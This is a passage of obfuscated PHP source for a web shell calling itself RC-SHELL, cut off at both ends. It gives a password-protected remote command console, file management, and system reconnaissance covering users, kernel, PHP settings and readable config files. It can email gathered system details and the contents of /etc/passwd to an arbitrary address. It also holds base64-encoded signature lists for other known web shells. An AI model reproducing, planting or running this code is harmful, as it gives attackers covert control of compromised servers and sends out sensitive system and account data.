", $r); unset($stack[0], $stack[2]); $stack = @array_values($stack); $stack = @array_slice($stack, 1); $head[0] = "PROGRAM"; $head[1] = "PID"; if ($ppsort[0] >= @count($head)) { $ppsort[0] = @count($head) - 1; } for ($i = 0; $i < @count($head); $i++) { if ($i != $ppsort[0]) { $head[$i] = z5c(array("act", "d", "sortp" => $i . $ppsort[1]), z8v($head[$i], "3")); } else { $head[$i] = z5c(array("act", "d", "sortp" => $ppsort[0] . ($ppsort[1] == "a" ? "d" : "a")), z8v($head[$ppsort[0]] . " " . ($ppsort[1] == "a" ? "↑" : "↓"), "3")); } } $prcs = array(); foreach ($stack as $line) { if (!@empty($line)) { $ln = @explode(" ", $line); if (@count($ln) >= 2) { $prcs[] = array($ln[0], $ln[1]); } } } } $v = $ppsort[0]; @usort($prcs, "z3i"); if ($ppsort[1] == "d") { $prcs = @array_reverse($prcs); } $tab = array(); if (!@isset($grep) || !$grep) { $tab[] = $head; } $tab = @array_merge($tab, $prcs); echo z9m("2"); $cnt = 0; foreach ($tab as $i => $k) { $r = ''; $cnt2 = 0; foreach ($k as $j => $v) { if ($win and $i > 0 and $j == 2) { $v = z7c($v); } if ($cnt == 0) { $r .= $cnt2 == 0 ? z7l($v, "13", "2") : ($cnt2 == @count($k) - 1 ? z7l($v, "13", "3") : z7l($v, "13")); } else { $r .= $cnt2 == 0 ? z7l($v, "14", "2") : ($cnt2 == @count($k) - 1 ? z7l($v, "14", "3") : z7l($v, "14")); } $cnt2++; } echo z7i($r, $cnt % 2 ? "0" : "1"); $cnt++; } echo z10w(); } } goto CL6LN; PuA0W: function z0w($d) { return z5c(array("act" => "ftp", "flsort", "ffsort", "d" => $d), z4a("chdir", array('' => z9s("425")), "3") . z8v("»", "6")); } goto dujxL; SpGmY: function z7d($i, $c = '', $s = '') { return z7f($c, $s) . $i . z10w(); } goto ukCvp; Q8I3M: function z3c($i, $t) { if ($t != "d" && $t != "f" && $t != "l" && $t != "e") { return ''; } if ($t == "l" || $t == "e") { $t = "f"; } $cs = z9w("reg_self"); $ci = z9w("reg_interesting"); $cb = z9w("reg_bad"); if ($t == "f" && $i == @basename(__FILE__)) { return $cs != '' ? " style="color: " . $cs . "";" : ''; } foreach (z7x("6", $t) as $r) { if (@preg_match("/" . $r . "/i", $i)) { return $ci != '' ? " style="color: " . $ci . "";" : ''; } } foreach (z7x("7", $t) as $r) { if (@preg_match("/" . $r . "/i", $i)) { return $cb != '' ? " style="color: " . $cb . "";" : ''; } } } goto ezABl; ViGlf: if (@strpos($test_cmd, "exec") === 6) { $sh_exec = 1; } elseif ($nix && @preg_match("/successfully executed/", $test_cmd)) { $safe_exec = 1; } goto f6Quo; ozN3j: function z7g() { return "</td>" . "\xa"; } goto s0QaI; NaQu7: if ($bziparchive) { if (!@isset($reg_archives)) { if (@isset($_SESSION["reg_archives"])) { $reg_archives = $_SESSION["reg_archives"]; if (@empty($reg_archives)) { $reg_archives = "zip"; } else { $r_e = @explode("|", $reg_archives); if (!@in_array("zip", $r_e)) { $reg_archives .= "|zip"; } } } else { $reg_archives = "zip"; } } $_SESSION["reg_archives"] = $reg_archives; } goto bu_jN; wkilY: function z3x($login = 0) { $tc = ''; foreach (z7x(5, "skins") as $s) { $tc .= z5c(array("act", "d", "color_skin" => $s), z4p(z0g(z9w("topbg1"), "11", @strtoupper($s))) . " "); } echo (!$login ? z7s(z7i(z9j("RC-SHELL v" . z7x("0") . " : " . "PAGE GENERATED IN " . @round(z10r() - start, 4) . " SECONDS", "4") . z7e($tc, "4")), "2") : '') . z7g() . z7u() . z10w() . "</body></html>"; die; } goto l60kI; Bx3TW: z3b(); goto jNksq; UA1KG: function z6u($i, $n, $c = '', $s = '') { return z4k($n, $c, $s) . $i . z7g(); } goto Qru3k; CL6LN: z3x(); goto MTPag; BvMGV: $_SESSION["use_buffer"] = $use_buffer; goto kBIfF; Mm3aL: function z2u($n, $a = array(), $c = '', $g = '', $s = '') { return z1j($n, $a, $c, $g, "0", $s); } goto qTiZt; HOV_B: function z9x($n = 1) { return @str_repeat("<br>", $n); } goto T2pqG; ETgkI: z3l(); goto Bx3TW; bu_jN: if (!@isset($color_skin)) { if (@isset($_SESSION["color_skin"])) { $color_skin = $_SESSION["color_skin"]; } else { $color_skin = z7x("5", "default_skin"); } } goto cSDDf; bWlKk: function z3t($t) { $r = ''; if (@preg_match_all("/(?<strings>[\x20-\x7E]{4,})[^\x20-\x7E]?/", $t, $m)) { foreach ($m["strings"] as $s) { $r .= $s . "\xd
"; } } return $r; } goto XO1Lg; shOzY: function z2l($k) { if (@count($_SESSION[$k]) > 0) { return @count($_SESSION[$k]); } $_SESSION[$k][] = array("act" => z7x("2", "default_act")); return @count($_SESSION[$k]); } goto KbUAe; RFuAp: z8j(); goto XNHbm; m_ZPO: if ($act == "cmd") { $st_a = array('' => "-", " 2>&1" => "2>&1"); echo z2b(z10e(z7i(z6x(z8e(z9s("180")) . z9l('', "command") . z3e(array("act" => "cmd", "d", "cmdsubmit" => "1")) . z6i("cmd", '', "0") . ($nix ? z4a("stderr", $st_a, "1", "1") : '') . z8v("»", "7") . z9z(), '', "2") . z6x(z8e(z9s("181")) . z5c(array("act" => "cmd", "d", "cmdsubmit" => "1"), z2u("scmd", $win ? $winaliases : $nixaliases, "0", "1") . ($nix ? z4a("stderr", $st_a, "1", "1") : '') . z8v("»", "7")), '')), "2")); echo z9m("2") . z6g() . z6w() . z5w('', "0", 1); if (@isset($cmdsubmit) && $cmdsubmit) { echo z9t(@isset($cmd) ? @isset($stderr) ? $cmd . $stderr : $cmd : (@isset($stderr) ? $scmd . $stderr : $scmd)); } echo z5q() . z7g() . z7u() . z10w(); } goto eSuMv; YVlUH: function z2i($k) { $r = array(); foreach ($_SESSION[$k] as $v) { $r[] = $v; } $_SESSION[$k] = $r; } goto Qzybk; HyKDh: $tempdir = $tmps[0]; goto pCD2U; kB3kd: function z2x($ip) { $ip = @preg_replace("/[\t\s\r\n]/", '', $ip); if (!@is_numeric(@str_replace(".", '', $ip)) || @substr_count($ip, ".") != 3) { return "failed"; } else { $octets = @explode(".", $ip); $dec = ($octets[0] * 1 << 24) + ($octets[1] * 1 << 16) + ($octets[2] * 1 << 8) + $octets[3]; return $dec; } } goto BxibQ; s0k7N: function z8q($n, $v = NULL) { global ${$n}; return "<input type="hidden" name="" . $n . "" value="" . ($v == NULL ? @isset(${$n}) && !@empty(${$n}) ? ${$n} : (@isset($_SESSION[$n]) ? $_SESSION[$n] : '') : z8x($v)) . """ . ">"; } goto muy7F; ukCvp: function z7s($i, $c = '', $s = '') { return z7h($c, $s) . $i . z10w(); } goto AH0dd; RAsCn: if ($bmssql) { $a_sql[] = "MsSQL"; } goto a68en; lyEMK: function z3i($a, $b) { global $v; return @strnatcmp(@strtolower($a[$v]), @strtolower($b[$v])); } goto bi7kC; eC9G4: function z10e($i, $c = '', $s = '') { return z9m($c, $s) . $i . z10w(); } goto ALAtQ; tL2GR: function z9z() { return "</form>"; } goto o8VNq; qZ9_s: function z4g() { global $color_skin; $l = z7x("1"); $zu = z1u("zu"); $zp = z1u("zp"); if ($l["use_auth"] && z7r("md5")) { $s = $e = 0; if (@isset($_SESSION["ok"]) || $zu == $l["md5_user"] && $zp == $l["md5_pass"]) { $s = 1; } elseif (@isset($_POST["zu"]) && @isset($_POST["zp"])) { if (@md5($_POST["zu"]) == $l["md5_user"] && @md5($_POST["zp"]) == $l["md5_pass"]) { $_SESSION["ok"] = 1; z1z("zu", @md5($_POST["zu"])); z1z("zp", @md5($_POST["zp"])); $s = 1; } else { $e = 1; } } if (!$s) { $color_skin = z7x("5", "default_skin"); z3l(1); echo z9l() . z7s(z7i(z9j(z8e(z9s("1"))) . z9j(z6i("zu", ''))) . z7i(z9j(z8e(z9s("2"))) . z9j(z6a("zp", ''))) . z7i(z9j('') . z9j(z8v(z9s("3"), "7")))) . z9z(); z3x(1); die; } } } goto u0Aqi; vuKbf: function z4f($d, $t, $b = 0) { $d = z1i($d); $t = z1i($t); if (@is_dir($d)) { if (!z4q($t)) { @mkdir($t); @chmod($t, 493); } $h = @opendir($d); while (($o = @readdir($h)) !== false) { if ($o != "." && $o != "..") { if (@is_dir(z1a($d) . $o)) { z4f(z1a($d) . $o, z1a($t) . $o, $b); } else { @copy(z1a($d) . $o, z1a($t) . $o); if ($b) { @unlink(z1a($d) . $o); } } } } @closedir($h); if ($b) { @rmdir($d); } return true; } elseif (@is_file($d)) { if (@is_dir($t)) { $t = z1a($t) . z2h($d); } if ($b) { if (@copy($d, $t)) { return @unlink($d); } } else { return @copy($d, $t); } } else { return false; } } goto z2vJk; o8VNq: function z10t($i) { $u = array(); if (!@is_numeric($i)) { return ''; } $a = array("border-top:0;", "border-bottom:0;", "border-left:0;", "border-right:0;", "width: 50%;", "width: 33%;", "border-left: 1px solid #DDDDDD;", "text-align: right !important;", "width: 150px !important;", "margin-left: 0 !important;"); $r = ''; if (@strlen($i) > 1) { for ($n = 0; $n < @strlen($i); $n++) { $c = $i[$n]; if (@isset($a[$c]) && !@isset($u[$c])) { $r .= $a[$c]; $u[$c] = ''; } } } else { if (@isset($a[$i])) { $r .= $a[$i]; } } return $r != '' ? " style="" . $r . """ : $r; } goto o7CNm; aLOxQ: function z2m($h, $n, $o = 0) { $l = @strlen($h); $o = $o > 0 ? $l - $o : @abs($o); $p = @strpos(@strrev($h), @strrev($n), $o); return $p === false ? false : $l - $p - @strlen($n); } goto yWDUh; Ok7QB: function z7x($i, $k = '') { global $config; $m = array("version", "auth", "default_vars", "banned", "use_buffer", "visual", "reg_interesting", "reg_bad"); if (!@isset($m[$i])) { return ''; } return $k != '' ? @isset($config[$m[$i]][$k]) ? $config[$m[$i]][$k] : '' : (@isset($config[$m[$i]]) ? $config[$m[$i]] : ''); } goto Q8I3M; W8XvQ: function z3v($s, $t = 0) { $reg = "[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))"; if ($t) { return @preg_match("/^" . $reg . "$/i", $s); } $r = array(); if (@preg_match_all("/" . $reg . "/i", $s, $m)) { foreach ($m[0] as $em) { $r[] = $em; } } return @array_unique($r); } goto HA2LV; jA3qO: function z0n($f) { return z2r($f, "r"); } goto cCVk6; qTiZt: function z8j($t = 0) { global $d, $ftp_current_dir; $a = !$t || $t == "l" ? z2d($d) : z2d($ftp_current_dir, 1); $c = @count($a); $i = 0; $n = ''; foreach ($a as $k => $v) { $i++; $n .= z5c($t === 0 ? array("act" => "ls", "d" => $k) : ($t == "l" ? array("act" => "ftp", "d" => $k) : array("act" => "ftp", "d", "ftp_current_dir" => $k)), z8v($v, "1") . ($v != "/" && $i != $c ? " / " : " ")); } echo z10e(z7i(z7l((!$t ? z5c(array("act" => "ls", "d" => z3p(__FILE__)), z8n("small_home", '', "9")) . z9c() . z1d("ls") : '') . $n . (!$t ? " (" . z6y(z9r(@fileperms($d)), z6h($d)) . ")" : ''))), "5"); } goto eT1cN; ClyUd: function z1k($t, $s = "/") { $t = z1i($t); $t = z3g($t, $s); if (!@strstr($t, $s)) { return array(); } $e = @explode($s, $t); $f = $e[@count($e) - 1]; $l = @strlen($t) - @strlen($f); $d = @substr($t, 0, $l); return array(z1a($d), $f); } goto pMdd7; hTgtR: $nixaliases = array('' => "ls -la", "console downloaders" => "which wget GET ftp curl w3m lynx", "cpu info" => "cat /proc/version /proc/cpuinfo", "gcc compiler" => "locate gcc", "logged in users" => "w", "active users (from lastlog)" => "lastlog|grep -v '\*\*'", "last logins (last -a)" => "last -a", "users without password" => "cut -d: -f1,2,3 /etc/passwd | grep ::", "list file attributes" => "lsattr -va", "show open ports (from netstat)" => "netstat -nat | grep -i listen", "active connections (from lsof)" => "lsof -i"); goto T7kQH; mc7TU: function z1h($ip, $oct = '') { $ip = @preg_replace("/[\t\s\r\n]/", '', $ip); if (!@is_numeric(@str_replace(".", '', $ip)) || @substr_count($ip, ".") != 3) { return "failed"; } else { $octets = @explode(".", $ip); for ($i = 0; $i < 4; $i++) { $decoct = @decoct($octets[$i]); $len = @strlen($decoct); $leading = 9 - $len; $oct .= @str_repeat("0", $leading) . $decoct . "."; } $oct = @substr($oct, 0, @strlen($oct) - 1); return $oct; } } goto sjAc0; pvjBW: @chdir($d); goto ZAtqh; x5sXC: function z4z($n, $c = '', $s = '') { return z4c("center", $n, $c, $s); } goto ozN3j; CLwkm: if ($act == "sysinfo") { $g_arr = array(); $date = @date("D M j G:i:s T Y"); $users = array(); if ($bpasswd) { $users = z6m(1); } $distro = z1n(); $uptime = $nix && $sh_exec ? z9t("uptime") : ''; $system = $host = $kernel = ''; $sys = $nix && $sh_exec ? z9t("uname -a") : (z7r("php_uname") ? @php_uname("a") : " "); if ($nix) { @(list($system, $host, $kernel, ) = @explode(" ", $sys)); } if (!@empty($sys)) { $g_arr[] = array("System", $sys, $sys); } if (!@empty($system) && !@empty($kernel)) { $g_arr[] = array($linux ? "Kernel" : "Version", $system . " " . $kernel, $system . " " . $kernel); } if (!@empty($distro)) { $g_arr[] = array("Distro name", $distro, nl2br($distro)); } $idu = ''; if ($nix && $sh_exec) { $idu = z9t("id"); $eid = @explode(" ", $idu); if (@count($eid) >= 2) { $idu = $eid[0] . " " . $eid[1]; } } if (!@empty($idu)) { $g_arr[] = array("User id", $idu, $idu); } if (!@empty($uptime)) { $g_arr[] = array("Uptime", $uptime, $uptime); } if (!@empty($date)) { $g_arr[] = array("Local time", $date, $date); } $g_arr[] = array("CPU info", z3f(), z3f()); $mem = z5a(); $g_arr[] = array("RAM info", $mem[0][1], $mem[0][0] . $mem[0][1]); if ($nix) { $g_arr[] = array("RAM buffered", $mem[1][1], $mem[1][0] . $mem[1][1]); } if ($nix) { $g_arr[] = array("Swap", $mem[2][1], $mem[2][0] . $mem[2][1]); } $disk = z9e(); if (@count($disk) > 1 || !@isset($disk[0][0])) { foreach ($disk as $dd => $inf) { $g_arr[] = array("Space on " . $dd, $inf[1], $inf[0] . $inf[1]); } } else { $g_arr[] = array("Disk space", $disk[0][1], $disk[0][0] . $disk[0][1]); } if (!@empty($host)) { $host .= " (" . @gethostbyname($host) . ") "; } if (@preg_match("/^\d\.\d\.\d\.\d$/", $saddr)) { $host .= $saddr; } else { $host .= $saddr . " (" . @gethostbyname($saddr) . ")"; } $g_arr[] = array("Hostname", $host, $host); if (@count($users) > 0) { if (@isset($viewusers) && $viewusers) { $pusers = ''; foreach ($users as $uarr) { $pusers .= z5c(array("act" => "ls", "d" => $uarr[1]), z8v($uarr[0], "1"), 1) . z9c() . " "; } } else { $pusers = @count($users) . " users on this box." . z9c() . z5c(array("act" => "sysinfo", "d", "viewusers" => "1"), z8v("View", "1")); } $g_arr[] = array("System users", '', $pusers); } if (@count($g_arr) > 0) { echo z2b(z9s("479")); echo z9m("2"); for ($i = 0; $i < @count($g_arr); $i++) { echo z9f(z9j($g_arr[$i][0], "14", "25") . z9j($g_arr[$i][2], "14", "3"), $i % 2 ? "0" : "1"); } echo z10w(); } $bsmed = z8l("safe_mode_exec_dir"); $psmed = $bsmed ? @ini_get("safe_mode_exec_dir") : "NONE"; $bsmid = z8l("safe_mode_include_dir"); $psmid = $bsmid ? @ini_get("safe_mode_include_dir") : "NONE"; $opendirs = ''; if ($bopendir) { foreach (z9d(@ini_get("open_basedir")) as $od) { $opendirs .= z5c(array("act" => "ls", "d" => $od), z8v($od, "1"), 1) . z9c() . " "; } } $dfnc = z6j(); if (@count($dfnc) > 0) { $ndfnc = @implode(" ", $dfnc); $pdfnc = ''; foreach ($dfnc as $fnc) { $pdfnc .= z10y("http://php.net/manual/en/function." . @str_replace("_", "-", $fnc) . ".php", $fnc, "1", 1) . z9c() . " "; } } else { $ndfnc = "NONE"; $pdfnc = z5i("NONE"); } $p_arr = array(); $p_arr[] = array("PHP Version", @phpversion(), @phpversion() . z9c() . z5c(array("act" => "phpinfo", "d"), z8v("PHP Info", "1"))); $p_arr[] = array("Open Basedir", $bopendir ? @ini_get("open_basedir") : "NONE", $bopendir ? $opendirs : z5i("NONE")); $p_arr[] = array("Safe-mode", $bsafe ? "ON" : "OFF", $bsafe ? z8z("ON") : z5i("OFF")); if ($bsafe) { $p_arr[] = array("Safe-mode exec dir", $psmed, $bsmed ? z5i($psmed) : z8z($psmed)); $p_arr[] = array("Safe-mode include dir", $psmid, $bsmid ? z5i($psmid) : z8z($psmid)); } foreach (array("register_globals", "allow_url_fopen", "allow_url_include", "memory_limit", "file_uploads", "upload_tmp_dir", "upload_max_filesize", "post_max_size", "magic_quotes_gpc") as $ini) { $p_arr[] = array(z3r(@str_replace("_", " ", $ini)), z4r(@ini_get($ini)), z4r(@ini_get($ini))); } $p_arr[] = array("Disabled Functions", $ndfnc, $pdfnc); if (@count($p_arr) > 0) { echo z2b(z9s("480")); echo z9m("2"); for ($i = 0; $i < @count($p_arr); $i++) { echo z9f(z9j($p_arr[$i][0], "14", "25") . z9j($p_arr[$i][2], "14", "3"), $i % 2 ? "0" : "1"); } echo z10w(); } if ($nix) { $o_arr = array(); $tmp = $tmpp = ''; foreach (array("/etc/" => array("passwd", "hosts", "modules", "fstab", "issue", "issue.net", "motd"), "/proc/" => array("cpuinfo", "meminfo", "version", "interrupts")) as $ed => $af) { foreach ($af as $ef) { if (z4q($ed . $ef) && z0n($ed . $ef)) { $tmp .= $ed . $ef . " "; $tmpp .= z5c(array("act" => "f", "d" => $ed, "f" => $ef, "ft" => "text"), z8v($ef, "1"), 1) . z9c() . " "; } } } if (!@empty($tmp)) { $o_arr[] = array(z9s("482"), $tmp, $tmpp); } $tmp = $tmpp = ''; foreach (array("/etc/" => array("syslog.conf", "syslogd.conf", "rsyslog.conf", "resolv.conf", "httpd.conf", "apache2.conf", "apache.conf", "apache2/apache.conf", "proftpd.conf", "proftpd.conf", "inetd.conf"), "/etc/apache2/" => array("httpd.conf", "apache2.conf"), "/etc/proftpd/" => array("proftpd.conf")) as $ed => $af) { foreach ($af as $ef) { if (z4q($ed . $ef) && z0n($ed . $ef)) { $tmp .= $ed . $ef . " "; $tmpp .= z5c(array("act" => "f", "d" => $ed, "f" => $ef, "ft" => "text"), z8v($ef, "1"), 1) . z9c() . " "; } } } if (!@empty($tmp)) { $o_arr[] = array(z9s("483"), $tmp, $tmpp); } $tmp = $tmpp = ''; foreach (array("curl", "fetch", "links", "lynx", "GET", "w3m", "wget") as $ef) { $ff = z8u($ef); if (!@empty($ff)) { $tmp .= $ef . " "; $tmpp .= z5c(array("act" => "f", "d" => z3p($ff), "f" => z2h($ff)), z8v(z2h($ef), "1"), 1) . z9c() . " "; } } $tmp = $tmpp = ''; foreach (array("gcc", "cc", "c++", "g++", "nasm", "ld", "make", "cmake") as $ef) { $ff = z8u($ef); if (!@empty($ff)) { $tmp .= $ef . " "; $tmpp .= z5c(array("act" => "f", "d" => z3p($ff), "f" => z2h($ff)), z8v(z2h($ef), "1"), 1) . z9c() . " "; } } if (!@empty($tmp)) { $o_arr[] = array(z9s("484"), $tmp, $tmpp); } $tmp = $tmpp = ''; foreach (array("perl", "python", "php", "ruby", "tcl") as $ef) { $ff = z8u($ef); if (!@empty($ff)) { $tmp .= $ef . " "; $tmpp .= z5c(array("act" => "f", "d" => z3p($ff), "f" => z2h($ff)), z8v(z2h($ef), "1"), 1) . z9c() . " "; } } if (!@empty($tmp)) { $o_arr[] = array(z9s("485"), $tmp, $tmpp); } if (@count($o_arr) > 0) { echo z2b(z9s("481")); echo z9m("2"); for ($i = 0; $i < @count($o_arr); $i++) { echo z9f(z9j($o_arr[$i][0], "14", "25") . z9j($o_arr[$i][2], "14", "3"), $i % 2 ? "0" : "1"); } echo z10w(); } } if ($bmail) { $emsg = ''; $msg = ''; if (@isset($sendlog) && $sendlog && @isset($sysmail) && !@empty($sysmail)) { $line = @str_repeat("-", 100) . "\xd
"; if (@count($g_arr) > 0) { $msg .= $line . z9s("479") . "
" . $line; for ($i = 0; $i < @count($g_arr); $i++) { if (!@empty($g_arr[$i][1])) { $msg .= $g_arr[$i][0] . " : " . $g_arr[$i][1] . "\xd
"; } } } if (@count($p_arr) > 0) { $msg .= $line . z9s("480") . "\xa" . $line; for ($i = 0; $i < @count($p_arr); $i++) { if (!@empty($p_arr[$i][1])) { $msg .= $p_arr[$i][0] . " : " . $p_arr[$i][1] . "
\xa"; } } } if (@count($o_arr) > 0) { $msg .= $line . z9s("481") . "\xa" . $line; for ($i = 0; $i < @count($o_arr); $i++) { if (!@empty($o_arr[$i][1])) { $msg .= $o_arr[$i][0] . " : " . $o_arr[$i][1] . "
\xa"; } } } $msg .= $line; if ($bpasswd) { $msg .= "/etc/passwd
" . $line . z9p("/etc/passwd") . $line; } $emsg = @mail($sysmail, "SYSINFO|{$saddr}", $msg) ? z9s("243") : z9s("244"); } echo z2b(z9s("302") . ($emsg != '' ? " : " . $emsg : '')); echo z5c(array("act" => "sysinfo", "d", "sendlog" => "1"), z10e(z5n() . z7i(z6x(z5u("sysmail", z7x("2", "email"), "0") . z8v(z9s("179"), "7"))) . z5n(), "2")); } } goto AD_9D; jf7pw: function z4a($n, $a = array(), $c = '', $g = '', $s = '') { return z1j($n, $a, $c, $g, "1", $s); } goto Mm3aL; jfG3k: function z6h($f) { $c = array("nr", "nw", "rw"); return $c[z7n($f)]; } goto cnIak; fB9Lq: $bziparchive = z7r("class_exists") && @class_exists("ZipArchive"); goto wrFvv; TfINk: function z6b() { $i = @get_included_files(); return @count($i) > 0 ? $i[0] != __FILE__ : 0; } goto Jf7Yq; OBXWt: function z0i($i) { return " -moz-border-radius: " . $i . "px; -webkit-border-radius: " . $i . "px; border-radius: " . $i . "px;"; } goto jlnKn; CqH_3: function z6q($c = '', $s = '') { return z5l("right", $c, $s); } goto yh282; IkveK: function z2w($a, $b, $c) { global $count, $success, $log; $count += $a; $success += $b; $log .= $c; } goto FIQzC; ExSHD: if ($act == "logout") { z4y(); } goto tfoyi; VIstP: function z5e($n, $v, $c = '', $o = '') { global ${$n}; return "<input type="password" name="" . $n . "" value="" . (@isset(${$n}) && !@empty(${$n}) ? ${$n} : z8x($v)) . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($o != '' ? z9k() : '') . ">"; } goto oWcYY; gKlw2: foreach ($_GET as $k => $v) { if (!@isset(${$k})) { ${$k} = @urldecode($v); } } goto lw1FN; aXDYP: function z1o($n) { if (@isset($_COOKIE[$n])) { unset($_COOKIE[$n]); } return @setcookie($n, NULL, -1); } goto YZJ0W; HWJSP: function z2y($file, $possible = 0, $replace = 0) { $replaced = ''; $knownfunc = array("c99/variant" => @explode("||", @base64_decode("ZnNlYXJjaCgkZCl8fGZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxnZXRzb3VyY2UoJGZuKXx8c2hleGl0KCl8fF9idWZmX3ByZXBhcmUoKXx8X3Nlc3NfcHV0KCRkYXRhKXx8ZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKXx8ZnNfY29weV9kaXIoJGQsJHQpfHxmc19jb3B5X29iaigkZCwkdCl8fGZzX21vdmVfZGlyKCRkLCR0KXx8ZnNfbW92ZV9vYmooJGQsJHQpfHxmc19ybWRpcigkZCl8fGZzX3Jtb2JqKCRvKXx8Z2V0bWljcm90aW1lKCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHN0cjJtaW5pKCRjb250ZW50LCRsZW4pfHx0YWJzb3J0KCRhLCRiKXx8dmlld19wZXJtcygkbW9kZSl8fHZpZXdfcGVybXNfY29sb3IoJG8pfHx2aWV3X3NpemUoJHNpemUp")), "r57/variant" => @explode("||", @base64_decode("Y2YoJGZuYW1lLCR0ZXh0KXx8Y2hhbmdlX2RpdnN0KGlkKXx8Y2xvc2UoKXx8Y29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcyl8fGNvbm5lY3QoKXx8Y3goKXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZGl2KCRpZCl8fGR1bXAoJHRhYmxlKXx8ZXJyKCRuLCR0eHQ9JycpfHxleCgkY2ZlKXx8R2V0RmlsZU1hdGNoZXNDb3VudCgpfHxHZXRGaWxlc1RvdGFsKCl8fEdldE1hdGNoZXNDb3VudCgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGdldF91c2VycygkZmlsZW5hbWUpfHxpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl8fGxvY2F0ZSgkcHIpfHxtYWlsYXR0YWNoKCR0bywkZnJvbSwkc3ViaiwkYXR0YWNoKXx8bW9yZXJlYWQoJHRlbXApfHxtb3Jld3JpdGUoJHRlbXAsJHN0cj0nJyl8fHBlcm1zKCRtb2RlKXx8cmVhZHpsaWIoJGZpbGVuYW1lLCR0ZW1wPScnKXx8c2FmZV9leCgkY2ZlKXx8U2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJyl8fFNlYXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApfHxzaG93X2RpdihpZCl8fHNyKCRsLCR0MSwkdDIpfHx0b1VURigkeCl8fFVfdmFsdWUoJHZhbHVlKXx8VV93b3Jkd3JhcCgkc3RyKXx8dmlld19zaXplKCRzaXplKXx8d2hpY2goJHByKXx8d3MoJGkp")), "c37" => @explode("||", @base64_decode("Q2hlY2tCYXNlNjQoJEhhc2gpfHxDaGVja0hFWCgkSGFzaCwkQ2FzZSl8fENvbmZpZ3VyZUNoZWNrQm94ZXNQZXJtaXNzaW9ucygpfHxDb25maWd1cmVQZXJtaXNzaW9ucyh1c2VyKXx8R2V0TGFzdEVycm9yKCl8fEdldFBlcm1zKCYkRik=")), "BOFF" => @explode("||", @base64_decode("YShhLGMscDEscDIscDMsY2hhcnNldCl8fGFjdGlvbkJydXRlZm9yY2UoKXx8YWN0aW9uQ29uc29sZSgpfHxhY3Rpb25GaWxlc01hbigpfHxhY3Rpb25GaWxlc1Rvb2xzKCl8fGFjdGlvbkxvZ291dCgpfHxhY3Rpb25OZXR3b3JrKCl8fGFjdGlvblBocCgpfHxhY3Rpb25SQygpfHxhY3Rpb25TYWZlTW9kZSgpfHxhY3Rpb25TZWNJbmZvKCl8fGFjdGlvblNlbGZSZW1vdmUoKXx8YWN0aW9uU3FsKCl8fGFjdGlvblN0cmluZ1Rvb2xzKCl8fEJPRkZFeCgkaW4pfHxCT0ZGRm9vdGVyKCl8fEJPRkZIZWFkZXIoKXx8Qk9GRkxvZ2luKCl8fEJPRkZQZXJtcygkcCl8fEJPRkZQZXJtc0NvbG9yKCRmKXx8Qk9GRlJlY3Vyc2l2ZUdsb2IoJHBhdGgpfHxCT0ZGc3RyaXBzbGFzaGVzKCRhcnJheSl8fEJPRkZWaWV3U2l6ZSgkcyl8fEJPRkZXaGljaCgkcCl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGNmKCRmLCR0KXx8Y29weV9wYXN0ZSgkYywkcywkZCl8fERiQ2xhc3MoJHR5cGUpfHxkZWxldGVEaXIoJHBhdGgpfHxtb3ZlX3Bhc3RlKCRjLCRzLCRkKXx8cHJvY2Vzc1JlcUNoYW5nZSgp")), "devshell" => @explode("||", @base64_decode("Y2xpY2tjbWQoKXx8Y3MoJHQpfHxkbGZpbGUoJHUsJHApfHxkbGZpbGUoJHVybCwkZnBhdGgpfHxleGUoJGMpfHxncCgkZil8fGdzKCRmKXx8aW5pdCgpfHxybWRpcnMoJGQpfHxycCgkdCl8fHNob3dkaXIoJHB3ZCwkcHJvbXB0LCR3aW4pfHxzcygkdCl8fHNzYygkdCl8fHN3ZCgkcCl8fHR1a2FyKGwsYil8fHh3aGljaCgkcHIp")), "Egy" => @explode("||", 